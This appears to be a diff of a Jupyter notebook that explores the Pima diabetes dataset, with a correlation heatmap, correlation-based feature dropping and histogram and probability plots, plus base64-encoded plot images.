0Nxbdz9NDM7A8Ddc0wj00uk1rVSPQncSjCuYThwlLuPM7OOwNsEU0BL4HrgEuDhEh5z4ND4xkk8ZtaeYJa1M4BVBOvOmLsfEmqwxDbJzN4iWJi36IKqmh1LdlnSFyHu/knk31fDzlJG1Hf3l4tsv2Jm14YVJpFtM7d8CtAbDbguyWYzSyPy4drM2lDkzUsKqXWtVBXc/WsIZspy93EAkTv+4SZLMO5+SeTbo9y92HXJzKqEECkRzSBo7T/W3ecAmJmmo9+5NILr96Ai+zRFr+yWpC9C8pnZN8Cp+Svrmllt4L/ufkSowRLPajM7m+CuIgR3iFaHmCeRHVfk+60Ea2BowPX27iS4Q93czN4k6Or3l1ATlQFqXStRXpHvN2zzmMaElGws0DOKfeXRSQQLXo4wsy8Jpn1WNbsT7n5+2BkkeZSbgelmNtndu2+zb5K79wgpUkKKDJB9gmDhJid4s7pGC/LJn2FmdQnu6Bswzt1XhRwpIe2gde0gd98vpEgJxcxyCdbkMYI7sjn5DwFV3L1iWNkSjZk1IpgN8g3gTAo/XNcE/uPuHcPKlmgis2ANJrjpdijBDFAf5re6SSGNG5U9qTwVIROBE/M/TEc+bH/o7robJLslMu3sPQR3ZL8kWEX2OnfXSuDbMLOmQEuKtL66++jwEiUmMyvaFTK/de15d18RTiIpq8zsPIIWx97ATxQWIVnAq+rDX7JIL4lTgdPc/bCw8ySaSK+StyhcwPFs4Cx317hR2WXlqQg5EngOGEVwMT4QuMTdvwo1WIKJrKY7ZJtuaw+7+wWhBktA+a1rZnYicCzBQNDR7r5PyNESipn9CzgNmEphdxrXyvIisWdmJ7u7ZnqSPWIHvUq22ycSjZSwA8RLZOrGngSzX/wX6KUCpETd8gsQAHdfA6jLWsny7+ofA7zn7mvDDJPATiBYF+QYdz8u8qUCpARm9qCZ1TSzimY2zMxWRsZoieyuXmaWnr9hZrXN7J4Q80jZttrMzjaz1MjX2WjcqOymclOERFQmmF8+C+hsZgNCzpOIUiKtHwCYWR3K0QQGu+hTM5sB9AKGmVl9NDtWSeYSTDUrpRvk7lkELWvzgLbAX0NNJGXdUSXcWDo6vDhSxl0A/B+wDFgKnAJosLrslnLz4XJHXUIA9Usv7mHgBzN7j6Db2inAveFGSkzu/rfIuJC17p5rZuvR7FglyQEmm9kwis8rr4VCt7dd65qmnpU/KdXMKrv7JoDIdNmVQ84kZVRkYVW1ZMseUW6KEAq7hGh9gp1w99fMbAKFC1md5O7TwsyUqMzsVODLSAFyO0F3v3sI7hBJoaGRLyldfuvaBuByta7JHvAmQUtt/qQH5wNaN0t2i8aNyp5Ungamf0GwTsi6sLMkMjNrUdJ+TdG7PTP71d27mdkBBMXHQ8Df3b1vyNESipn1cveJ2+w71t0/DStTIot0gcxvXasK1HR3Fbay28zsKCB/pqdvNB5SdldJSxtouQPZXeWpJURdQqLzGYWLfqUBrYCZQJfQEiWu3Mi/xwDPuftnGvBZoufN7Fx3/w3AzM4ArgVUhJSsI7CXmRW9Pr8WVhgp+9z9C+CLsHNIUkgxs9qRsUUaNyp/Snn6xVGXkCi4e9ei22bWE7gipDiJbrGZPQsMBP5lZpUpf5M9ROMU4H0zO5NgauxzgUHhRkpMZvY60AaYTGGR66gIkd0UWQDzX0ADgnF+RjBFds1Qg0lZVXTcKARrqtwXYh4pw8pNdyzZfWY2ZdviRCDSVeZIYIq7zzazxkBXrbK7PTNrD3wELCBYNHRDuIkSk5lNBzq7Lsyyh5jZHOA4d58edhZJDmbWmcJxo8M1blR2V7lpCTGzdsD9QGegSv5+d28dWqgEZGbXF9lMIRhsvSSkOAnN3XPMbAVwADCbYIXr2eGmShxmNoXCrn0AdYBU4Eczw927hZMsof0GNCKY+lJkT1iuAkT2FDN73d3PAaaVsE9kl5SbIgR4GbgTeBQ4hGCGEHWd2V6NIt9vJRgjotV2S2BmdwK9gQ4Ev18VgTeA/mHmSiDHhh2gDKoHTDOz8RQfu6YpMWV3TTCzdwhaIov+Tn0QWiIpy4qNDzWzVIK1skR2WbnpjmVmE929V9GuRfn7ws4mZZOZTSZYTf7n/JlB8mfMCjVYgjGzfsBUd8+ObNcEOrn7j+EmSzxmdlBJ+919VLyzSHIoMjVvUa4pVWVXmNktwK0EE9bkEIwtAthMMDHLLWFlk7KrPLWEbDKzFGC2mV0FLAaqh5wpYZjZJxTvOlOM7sSWaLO7u5k5gJlVCztQgnqGoFtfvnUl7BNUbMie5+5azVr+NHe/H7jfzO5XwSF7SnkqQoYAVYFrgLsJBlWdF2qixPLvEvblFyVasrlk70Zmx0o3s4uBC4DnQ86UiKzoQGt3z9tm+tlyz8yyKfkmgGYykj8l0hKy3e+WWkJkN31hZgO23enuo8MII2Vbufkg4O4/Rb5dRzAeRIpLB5q5+1MAkT7p9QnevG4OMVdCMjMD3iFY0yGLYFzI3939m1CDJaa5ZnYNQesHBFM+zw0xT8Jx9xqlHyWyW4qux1MFOBFNNiK7769Fvq8C9AEmUjhblkjUytOYkPYEfzwtKVJ8ubv+cAAz+x443d0XRrYnE6ywWw142d0P28nTyyVNXRwdM2sAPE7wJuXAMOBad18RajCRcijSLXmMu+8fdhYp+8ysOfCYu58cdhYpe8pNSwjwHvAfgu4yuaUcWx5Vyi9AIsa4+2pgtcY67NDPZrZvkVY2KUGk2Dg97BwiAkA7goULRfaERUCnsENI2VSeipCt7v5M6YeVW7WLbrj7VUU268c5S1nRFzjbzOYB6ynsv6/ZsQAzu8ndHzSzJyi5T/o1IcQSKVdKGG+0DHWxld20zfU8hcgMkeElkrKsPBUhn5jZFcCHFJ8rPSO8SAnlRzO72N2LDaw2s0uB8SFlSnRHhB0gweUvkDYh1BQi5ZCZVXD3rRpvJHvYNIJFZwEygbfd/fvw4khZVp7GhPxRwm7XiumBSL/9jwgKtPy7Gr2AysAJ7r48pGgJJ3KubgXaAlOA+909K9xUIiKFzOxnd+8Z+f4Jd7867ExSdkVmNLyPYBbIBZHdLYCXgNvcfUtY2aTsKjdFiETHzA6lcEXUqe4+PMw8icjMviSYDWQ0wargNdz9L6GGSmCRSSFuBPZCk0KIxIWZTSqyiGpBQSKyO8zsUaAGcN02C8/+G9jg7kPCzCdlU7kpQszspBJ2rwWmaJYe2RVm9ou771NkW2/wO2FmvxBMCjGRIpNCuPvE0EKJJLltWkJ0jZI/xcxmA+19mw+NZpYKzHD3duEkk7KsPI0JuRDYDxgR2T6Y4ENRKzP7p7u/HlYwKXvMrDaFizimFt3WOKPtaFIIkfjraGa/ElyX2kS+B02gIbvHty1AIjtzzax83M2WPa48FSEVgE75YxvMrCHwGsEMR6MBFSESrVoEBWzRleTzx9E4oHFGgJnViXyrSSFE4k/TpsqeNM3MznX314ruNLOzgRkhZZIyrjx1x5rm7p2LbBvBmIfORfvOisieEZkMwilerOXTpBAicWJmLYF27v6tmaUBFfL79YtEw8yaAh8AGwhuwgH0BtKAE919cVjZpOwqTy0hI83sU4JFCwFOieyrRjDNnEhUzGynfavdXXOmB8509x/CDiFSnpnZxcAlQB2gDdCMYIzWYWHmkrIlUmT03Wbyms/dfViIsaSMK08tIQacBBwQ2fU98L+S+jiK7IyZ5Y8rqkJwJ+gXgrv93YAJ7r5fWNkSiQbDioTPzCYDfYAfi8yWNcXdu4YaTETKvXLTEuLubmYTgLWRJumqQHVATdKyS9z9EAAz+wDo6e5TItt7A3eFGC3RlNQNS0Tia5O7bw7uwxWs96CbbyISunJThJTQJN0UNUnLn9MhvwABcPffzEyDQQu1MrOhO3rQ3Y+PZxiRcmqUmd0KpJnZQOAK4JOQM4mIlKvuWJNRk7TsQWb2NrAeeCOy6yygurufEV6qxBGZV/6iHT3u7qPiGEekXDKzFIIp6gcRtE5+BbygrsgiErZy0xKCmqRlzzsfuBzIXyl2NKD1MAplq9AQCZe755nZG8Bod58Zdh4RkXzlqQhRk7TsUe6+0cyeAr4lKGhnuvuWkGMlknlhBxAp78zseOAhoBJBF8nuwD/VHVJEwlaeumMZQdcQNUnLHmFmBwOvEnzYNqA5cJ67jw4vVWIys/2BvShy42PbRa9EZM8zs4nAocBIdUUWkURSLlpCzCyVYGHCjsDzYeeRpPEwMCi/i4OZtQfeBnqFmirBmNnrBJNBTAZyI7sdUBEiEntb3H1tflfkCN18E5HQlYsixN1zzWymmbVw9wVh55GkUbFoH2t3n2VmFcMMlKB6A53V6igSiqlmdiaQambtgGuAsSFnEhEpH0VIRG2Ci/F4ghmNAE0TKn/KBDN7geKzY00IMU+i+g1oBCwNO4hIOXQ1cBuwCXiLoCvyPaEmEhGhfI0JOaik/Zq9R3aXmVUGrgQOiOz6Dnja3TeFlyrxRFaY7w6MJ/ggBOgGgEisRboif5u/wKqISCJJ+iLEzKoAlwFtgSnAi+6+NdxUkizMrBLQAc2OtUO6ASASHjMbBpzk7mvDziIiUlR5KELeAbYQ3KU+Cpjv7kN2/iyR0ml2LBFJdGb2MdAD+IbiXZGvCS2UiAjlowgpmIowskDheHfvGXIsSQKRqS/P3HZ2LHfX7FiAmY1x9wPMLJvis/EY4O5eM6RoIuWGmZ1X0n53fzXeWUREiioPA9MLuse4+9ZtpikU+TM0O9ZOuPsBkX9rhJ1FpLxSsSEiiao8tITkUtgEbUAakIPuxsqfZGYvAXkUnx0r1d0vCC9V4jGzC939xW32PeDufwsrk0h5YWZT2H5dkLUEM/nd4+6r459KRKQctIS4e2rYGSRpXU4wO1Z+3+rvgKfDi5OwTjazje7+JoCZPUVwM0BEYu8LgkVC34psnw5UBZYBrwDHhRNLRMq7pG8JEZFwmVkaMBR4CTgSyNTkECLxYWY/bzsOMn9f0TGTIiLxlvQtISJ72g66NxRw925xjJOwzKxOkc2LgI+BMcA/zKyOu2eEk0ykXEk1sz7uPh7AzPYF8nsIaLp6EQmNWkJEdpGZtdzZ4+4+P15ZEpmZ/UFQrNk2/wLg7q1DiiZSbkSKjpeA6gR/g1kENwWmAse4+7shxhORckxFiMgeYGb1gNWuP6gCZtYHWOjuSyPb5wEnE6yrcpdaQkTix8xqAWjRQhFJFCpCRHaRmfUDHgAygLuB14F6QApwrrt/GWK8hGFmPwOHu3uGmQ0A/gtcDXQHOrn7KWHmE0lmZna2u79hZteX9Li7PxLvTCIiRWlMiMiuexK4FagFDAeOcvdxZtYReBtQERJILdLacRrwnLv/D/ifmU0OL5ZIuVAt8q/W6RGRhKSWEJFdZGaT3b175Pvp7t6pyGOT3L1HaOESiJn9BnSPLBI6A7jE3UfnP+bue4ebUERERMKilhCRXZdX5PsN2zymqr7Q28AoM1tFcJ6+AzCztgSLpYlIjJjZ4zt73N2v2dnjIiKxppYQkV1kZrnAeoKZZtKAnPyHgCruXjGsbIkmMn6mMfC1u6+P7GsPVHf3n0MNJ5LEIhNBAPQHOgPvRLZPBaa5+2WhBBMRiVARIiIikqTMbBxwgLtvjWxXBL5z937hJhOR8i4l7AAiIiISM7WBmkW2q0f2iYiESmNCREREktcDwCQzG0HQZXQAcFeoiUREUHcsERGRpGZmjYC+kc0f3X1ZmHlEREDdsURERJKWmRlwOLCPu38MVDKzPiHHEhFRS4iIiEiyMrNnCKYVP9TdO5lZbYLZ6vYNOZqIlHMaEyIiIpK8+rp7TzObBODua8ysUtihRETUHUtERCR5bTGzVCILqZpZfYovuCoiEgoVISIiIsnrceBDoIGZ3QuMAe4LN5KIiMaEiIiIJDUz6wgcRjBF7zB3nx5yJBERjQkRERFJNmbWF3gOaANMAS5092nhphIRKaTuWCIiIsnnKeBGoC7wCPBouHFERIpTESIiIpJ8Utz9G3ff5O7vAfXDDiQiUpS6Y4mIiCSfdDM7aUfb7v5BCJlERApoYLqIiEiSMbOXd/Kwu/sFcQsjIlICFSEiIiIiIhJXGhMiIiKSpMxsiJnVtMALZvazmQ0KO5eIiIoQERGR5HWBu2cBgwhmyjoHeCDcSCIiKkJERESSmUX+PRp4zd2nFtknIhIaFSEiIiLJa6KZfU1QhHxlZjWAvJAziYhoYLqIiEiyMrMUoDsw190zzawu0NTdfw03mYiUd2oJERERSV4OdAauiWxXA6qEF0dEJKCWEBERkSRlZs8QdL861N07mVlt4Gt33zfkaCJSzmnFdBERkeT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" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "# Visualizing the feature correlation heatmap to get the features that affect the Dependent feature\n", + "plt.figure(figsize=(15, 13))\n", + "sns.heatmap(data.corr(), annot=True, linewidth=0.5, cmap=plt.cm.Blues_r)" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Pregnancies : 0.20732600658970218\n", + "Glucose : 0.3065819273494316\n", + "BloodPressure : 0.24642689150041935\n", + "SkinThickness : 0.23967688571955925\n", + "Insulin : 0.25053926998573994\n", + "BMI : 0.28673057721896766\n", + "DiabetesPedigreeFunction : 0.20690337861677657\n", + "Age : 0.2443788270110238\n", + "Outcome : 0.29597142322424036\n" + ] + } + ], + "source": [ + "# Just a check to get the mean of correlation of each feature with other features\n", + "for feature in data.corr():\n", + " print(f\"{feature} : {data.corr()[feature].mean()}\")" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'Age'}" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# To get a feature list that has correlation threshold greater than 0.45(Selecting \n", + "# any one feature out of two if both the features are highly correlated with each other)\n", + "corr_df = data.corr().drop(\"Outcome\", axis=1)\n", + "highly_corr_features = set()\n", + "for i in range(len(corr_df.columns)):\n", + " for j in range(i):\n", + " if abs(corr_df.iloc[i, j]) > 0.45:\n", + " highly_corr_features.add(corr_df.columns[i])\n", + "highly_corr_features" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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" + ], + "text/plain": [ + " Pregnancies Glucose BloodPressure SkinThickness Insulin BMI \\\n", + "0 6 148 72 35 0 33.6 \n", + "1 1 85 66 29 0 26.6 \n", + "2 8 183 64 0 0 23.3 \n", + "3 1 89 66 23 94 28.1 \n", + "4 0 137 40 35 168 43.1 \n", + "\n", + " DiabetesPedigreeFunction Outcome \n", + "0 0.627 1 \n", + "1 0.351 0 \n", + "2 0.672 1 \n", + "3 0.167 0 \n", + "4 2.288 1 " + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Dropping highly correlated features\n", + "data.drop(highly_corr_features, axis=1, inplace=True)\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [], + "source": [ + "# Function for plotting histogram and probplot(Graph that shows whether \n", + "# the given data feature is normally distributed or not)\n", + "def plot_hist_prob(df):\n", + " plt.figure(figsize=(18, 15))\n", + " for i in range(len(df.columns)):\n", + " plt.subplot(2, 4, i+1)\n", + " plt.hist(df[df.columns[i]], bins=100)\n", + " plt.title(df.columns[i])\n", + " plt.tight_layout()\n", + " plt.show()\n", + "\n", + " plt.figure(figsize=(18, 15))\n", + " for i in range(len(df.columns)):\n", + " plt.subplot(2, 4, i+1)\n", + " stats.probplot(df[df.columns[i]], dist=\"norm\", plot=plt)\n", + " plt.title(df.columns[i])\n", + " plt.tight_layout()\n", + " plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [ + { + "data": { + "image/png": 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xY95hAEeoyy677NPdvX3ecRyMPAisJ3kQmLqtkAcTuRBYPwfLg5uiOLhjx47s2bNn3mEAR6iq+tS8YzgUeRBYT/IgMHVbIQ8mciGwfg6WB3UrBgAAAICJOmRxsKpeUVXXV9WHFln27KrqqjpmfFxV9dKqurKqPlBVD1yPoAEAAACA1VtOy8FXJnnUwplVdWKSRyb525nZj05y8vhzdpKXrT5EAAAAAGA9HLI42N3vTPLZRRa9OMkvJOmZeacneVUP3p3k6Ko6bk0iBQAAAADW1IrGHKyq05Nc093vX7Do+CRXzTy+epy32HOcXVV7qmrP/v37VxIGAAAAALAKh10crKpvSfK8JP9pNTvu7nO7e2d379y+fdPfUR4AAAAAjjjbVrDNdyS5V5L3V1WSnJDkvVV1apJrkpw4s+4J4zwAAAAAYJM57JaD3f3B7v7W7t7R3TsydB1+YHdfm+SiJE8Z71r8oCSf7+59axsyAAAAALAWDlkcrKrXJvnLJPepqqur6qyDrP6WJJ9IcmWSlyf5N2sSJQAAAACw5g7Zrbi7n3iI5TtmpjvJ01cfFgAAAACw3lZ0t2IAAAAAYOtTHAQAAACAiVIcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIcBAAAAICJ2jbvADbSjl27kyR7zzltzpEAwOr4nwawNuRTtrID79/EexhYOS0HAQAAAGCiFAcBAAAAYKIUBwEAAABgohQHAQAAAGCiFAcBAAAAYKIUBwEAAABgohQHAQAAAGCiFAcBAAAAYKIUBwEAAABgohQHAQAAAGCiFAcBAAAAYKIUBwEAAABgohQHAQAAAGCiFAcBAAAAYKIUBwFWqKpOrKq3V9VHqurDVfXMcf7zq+qaqrp8/HnMvGMFAACAxWybdwAAW9iNSZ7d3e+tqjsluayqLh6Xvbi7f32OsQEAAMAhKQ4CrFB370uyb5z+YlVdkeT4+UYFAAAAy6c4CLAGqmpHkgckuTTJg5M8o6qekmRPhtaFn1tkm7OTnJ0kJ5100sYFyxFvx67dt5i395zT1vy5DzznYvMAAICtwZiDAKtUVXdM8odJntXdX0jysiTfkeSUDC0Lf2Ox7br73O7e2d07t2/fvlHhAgAAwM0UBwFWoapunaEw+JrufkOSdPd13X1Td389ycuTnDrPGAEAAGApioMAK1RVleS8JFd094tm5h83s9qPJ/nQRscGAAAAy2HMQYCVe3CSJyf5YFVdPs57XpInVtUpSTrJ3iQ/M4/gAAAA4FAUBwFWqLvflaQWWfSWjY4FAAAAVkK3YgAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAAJiobfMOAAAAYDPasWv3zdN7zzltjpEAwPrRchAAAAAAJkpxEAAAAAAmSnEQAAAAACZKcRAAAAAAJkpxEAAAAAAmSnEQAAAAACZKcRAAAAAAJuqQxcGqekVVXV9VH5qZ99+q6qNV9YGqemNVHT2z7LlVdWVVfayqfmSd4gYAAAAAVmk5LQdfmeRRC+ZdnOR+3f1Pk/x1kucmSVXdN8kTknz3uM1vV9VRaxYtAAAAALBmDlkc7O53Jvnsgnlv6+4bx4fvTnLCOH16ktd191e7+5NJrkxy6hrGCwAAAACskbUYc/Cnk/zJOH18kqtmll09zruFqjq7qvZU1Z79+/evQRgAAACw9qrqxKp6e1V9pKo+XFXPHOffraourqqPj7/vOs6vqnrpOOTWB6rqgfM9AoClrao4WFW/mOTGJK853G27+9zu3tndO7dv376aMAAAAGA93Zjk2d193yQPSvL0cVitXUku6e6Tk1wyPk6SRyc5efw5O8nLNj5kgOVZcXGwqn4qyWOTPKm7e5x9TZITZ1Y7YZwHAMARqqr2VtUHq+ryqtozzlu0NQ3AVtTd+7r7veP0F5NckaGX3OlJzh9XOz/JGeP06Ule1YN3Jzm6qo7b2KgBlmdFxcGqelSSX0jyY939lZlFFyV5QlXdtqruleFbkr9afZgAAGxyP9Tdp3T3zvHxUq1pALa0qtqR5AFJLk1ybHfvGxddm+TYcdqQW8CWccjiYFW9NslfJrlPVV1dVWcl+R9J7pTk4vEb4t9Jku7+cJILknwkyVuTPL27b1q36AEA2KyWak0DsGVV1R2T/GGSZ3X3F2aXjT3qetEND8KQW8C8bTvUCt39xEVmn3eQ9V+Q5AWrCQoAgC2lk7ytqjrJ/+zuc7N0a5qbVdXZGcbiykknnbRRsQKsSFXdOkNh8DXd/YZx9nVVdVx37xu7DV8/zjfkFrBlrMXdigEAmLaHdPcDMwzA//Sq+oHZhUu1ptFaBtgqqqoyNJK5ortfNLPooiRnjtNnJnnTzPynjHctflCSz898YQKwqRyy5SAAABxMd18z/r6+qt6Y5NQs3ZoGYCt6cJInJ/lgVV0+znteknOSXDAOv/WpJI8fl70lyWOSXJnkK0meuqHRAhwGxUEAAFasqu6Q5Fbd/cVx+pFJfiXfaE1zTr65NQ3AltPd70pSSyx++CLrd5Knr2tQAGtEcRAAgNU4Nskbhx532ZbkD7r7rVX1nizemgYAgE1EcRAAgBXr7k8kuf8i8z+TRVrTAACwubghCQAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATNS2eQcAAKzcjl27b57ee85pc4wEAADYirQcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIcBAAAAICJ2jbvAFZqx67dN0/vPee0OUYCAAAAAFuTloMAAAAAMFGKgwAAAAAwUYqDAAAAADBRioMAAAAAMFGKgwAAAAAwUYqDAAAAADBR2+YdAAAwHzt27b55eu85py17XQAA4Mih5SAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATNS2eQcAAACw3nbs2n3z9N5zTlvT51yr5wOAedByEAAAAAAmSnEQAAAAACZKcRAAAAAAJkpxEAAAAAAmSnEQAAAAACZKcRBgharqxKp6e1V9pKo+XFXPHOffraourqqPj7/vOu9YAQAAYDGKgwArd2OSZ3f3fZM8KMnTq+q+SXYluaS7T05yyfgYAAAANp1t8w4AYKvq7n1J9o3TX6yqK5Icn+T0JA8dVzs/yTuSPGcOIQIAK7Bj1+55hwAAG0bLQYA1UFU7kjwgyaVJjh0Lh0lybZJj5xUXAAAAHIyWgwCrVFV3TPKHSZ7V3V+oqpuXdXdXVS+x3dlJzk6Sk046aSNCZZM60EJl7zmnLWveavax8DkBAIBp03IQYBWq6tYZCoOv6e43jLOvq6rjxuXHJbl+sW27+9zu3tndO7dv374xAQMAAMAMxUGAFaqhieB5Sa7o7hfNLLooyZnj9JlJ3rTRsQEAAMBy6Fa8TLpjAYt4cJInJ/lgVV0+znteknOSXFBVZyX5VJLHzyc8AAAAODjFQYAV6u53JaklFj98I2MBAACAldCtGAAAAAAmSnEQAAAAACZKcRAAADgi7Ni1+5vGCgcADk1xEAAAAAAmSnEQAAAAACbqkMXBqnpFVV1fVR+amXe3qrq4qj4+/r7rOL+q6qVVdWVVfaCqHriewQMAAAAAK7ecloOvTPKoBfN2Jbmku09Ocsn4OEkeneTk8efsJC9bmzABAAAAgLV2yOJgd78zyWcXzD49yfnj9PlJzpiZ/6oevDvJ0VV13BrFCgAAAACsoZWOOXhsd+8bp69Ncuw4fXySq2bWu3qcdwtVdXZV7amqPfv3719hGAAAAADASq36hiTd3Ul6Bdud2907u3vn9u3bVxsGAAAAAHCYVlocvO5Ad+Hx9/Xj/GuSnDiz3gnjPAAAAABgk1lpcfCiJGeO02cmedPM/KeMdy1+UJLPz3Q/BgAAAAA2kW2HWqGqXpvkoUmOqaqrk/xSknOSXFBVZyX5VJLHj6u/JcljklyZ5CtJnroOMQMAAAAAa+CQxcHufuISix6+yLqd5OmrDQoAOHw7du2edwgAAMAWs+obkgAAAAAAW5PiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAKtSVUdV1fuq6s3j43tV1aVVdWVVvb6qbjPvGAEAWJziIAAAq/XMJFfMPH5hkhd3972TfC7JWXOJCgCAQ1IcBABgxarqhCSnJfnd8XEleViSC8dVzk9yxlyCAwDgkLbNOwAAALa030zyC0nuND6+e5IbuvvG8fHVSY5fbMOqOjvJ2Uly0kknrW+UsEF27Np98/Tec06bYyQAsDxaDgIAsCJV9dgk13f3ZSvZvrvP7e6d3b1z+/btaxwdAADLoeUgAAAr9eAkP1ZVj0lyuyR3TvKSJEdX1bax9eAJSa6ZY4wAAByEloMAAKxIdz+3u0/o7h1JnpDkz7r7SUnenuRx42pnJnnTnEIEAOAQFAcBAFhrz0nyc1V1ZYYxCM+bczwAACxBt2IAmJjZwfIXm2cAfVaiu9+R5B3j9CeSnDrPeAAAWB4tBwEAAABgohQHAQAAAGCidCsGAABYpsWGZgCArUzLQQAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAAJgoxUEAAAAAmCjFQQAAAACYKMVBAAAAOISqekVVXV9VH5qZ9/yquqaqLh9/HjOz7LlVdWVVfayqfmQ+UQMcmuIgAAAAHNorkzxqkfkv7u5Txp+3JElV3TfJE5J897jNb1fVURsWKcBhUBwEAACAQ+judyb57DJXPz3J67r7q939ySRXJjl13YIDWAXFQQAAAFi5Z1TVB8Zux3cd5x2f5KqZda4e591CVZ1dVXuqas/+/fvXO1aAW1AcBAAAgJV5WZLvSHJKkn1JfuNwn6C7z+3und29c/v27WscHsChKQ4CAADACnT3dd19U3d/PcnL842uw9ckOXFm1RPGeQCbjuIgAAAArEBVHTfz8MeTHLiT8UVJnlBVt62qeyU5OclfbXR8AMuxbd4BAMCRbseu3TdP7z3ntBVvu1HmsU8A2Oyq6rVJHprkmKq6OskvJXloVZ2SpJPsTfIzSdLdH66qC5J8JMmNSZ7e3TfNIWyAQ1IcBAAAgEPo7icuMvu8g6z/giQvWL+IANaG4iAAALAlrKYlNgCwOGMOAgAAAMBEKQ4CAAAAwEQpDgIAAADARCkOAgAAAMBEKQ4CAAAAwEQpDgIAAADARCkOAgAAAMBEKQ4CAAAAwEQpDgIAAADARCkOAgAAAMBEKQ4CAAAAwEQpDgIAAADARCkOAgAAAMBEKQ4CAAAAwEQpDgIAAADARG2bdwAAwGDHrt3zDmHdHTjGveecdljrH842TIf3x7Qdbj4BABan5SAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEzUqoqDVfXvqurDVfWhqnptVd2uqu5VVZdW1ZVV9fqqus1aBQsAAAAArJ0VFwer6vgk/zbJzu6+X5KjkjwhyQuTvLi7753kc0nOWotAAQAAAIC1tdpuxduS3L6qtiX5liT7kjwsyYXj8vOTnLHKfQAAAAAA62DFxcHuvibJryf52wxFwc8nuSzJDd1947ja1UmOX2z7qjq7qvZU1Z79+/evNAwAAAAAYIVW0634rklOT3KvJPdIcockj1ru9t19bnfv7O6d27dvX2kYAAAAAMAKraZb8Q8n+WR37+/uf0zyhiQPTnL02M04SU5Ics0qYwQAAAAA1sFqioN/m+RBVfUtVVVJHp7kI0nenuRx4zpnJnnT6kIEAAAAANbDasYcvDTDjUfem+SD43Odm+Q5SX6uqq5Mcvck561BnACbUlW9oqqur6oPzcx7flVdU1WXjz+PmWeMAAAAsJRth15lad39S0l+acHsTyQ5dTXPC7CFvDLJ/0jyqgXzX9zdv77x4QAAAMDyraZbMcDkdfc7k3x23nEAAADASigOAqyPZ1TVB8Zux3eddzAAAACwmFV1KwZgUS9L8qtJevz9G0l+euFKVXV2krOT5KSTTtrI+NgEduzaPe8QAAAAtBwEWGvdfV1339TdX0/y8iwxDmt3n9vdO7t75/bt2zc2SAAAAIjiIMCaq6rjZh7+eJIPLbUuAAAAzJNuxQCrUFWvTfLQJMdU1dUZ7uD+0Ko6JUO34r1JfmZe8QEAAMDBKA4CrEJ3P3GR2edteCAAAACwAroVAwAAAMBEKQ4CAAAAwEQpDgIAAADARCkOAgAAAMBEKQ4CAAAAwES5W/EG2LFr983Te885bY6RAAAAAMA3aDkIAAAAABOlOAgAAAAAE6U4CAAAAAATpTgIAAAAABOlOAgAAAAAE6U4CAAAAAATpTgIAAAAABO1bd4BAABb045du+cdAgAAsEpaDgIAAADARCkOAgCwYlV1u6r6q6p6f1V9uKp+eZx/r6q6tKqurKrXV9Vt5h0rAAC3pDgIAMBqfDXJw7r7/klOSfKoqnpQkhcmeXF33zvJ55KcNb8QAQBYiuIgAAAr1oMvjQ9vPf50kocluXCcf36SMzY+OgAADsUNSQAAWJWqOirJZUnuneS3kvxNkhu6+8ZxlauTHL/IdmcnOTtJTjrppI0JlsnZDDdPmo1h7zmnzTESALglLQcBAFiV7r6pu09JckKSU5N81zK3O7e7d3b3zu3bt69niAAALEFxEACANdHdNyR5e5LvS3J0VR3opXJCkmvmFRcAAEtTHAQAYMWqantVHT1O3z7JI5JckaFI+LhxtTOTvGkuAQIAcFDGHAQAYDWOS3L+OO7grZJc0N1vrqqPJHldVf1akvclOW+eQQIAsDjFQQAAVqy7P5DkAYvM/0SG8QcBANjEdCsGAAAAgIlSHAQAAACAiVIcBAAAAICJUhwEAAAAgIlSHAQAAACAiVIc3AJ27NqdHbt2zzsMAAAAAI4w2+YdAAAwPbNfeu0957Q5RgIAANOm5SAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABMlOIgAAAAAEyU4iAAAAAATJTiIAAAAABM1LZ5BwAAR5Idu3bfPL33nNPmGMl8HDj+1R777HkEAADWj5aDAAAAADBRioMAAAAAMFGKgwAAAAAwUYqDAAAAADBRqyoOVtXRVXVhVX20qq6oqu+rqrtV1cVV9fHx913XKlgAAAAAYO2stuXgS5K8tbu/K8n9k1yRZFeSS7r75CSXjI8BAAAAgE1mxcXBqrpLkh9Icl6SdPfXuvuGJKcnOX9c7fwkZ6wuRAAAAJivqnpFVV1fVR+ambdoz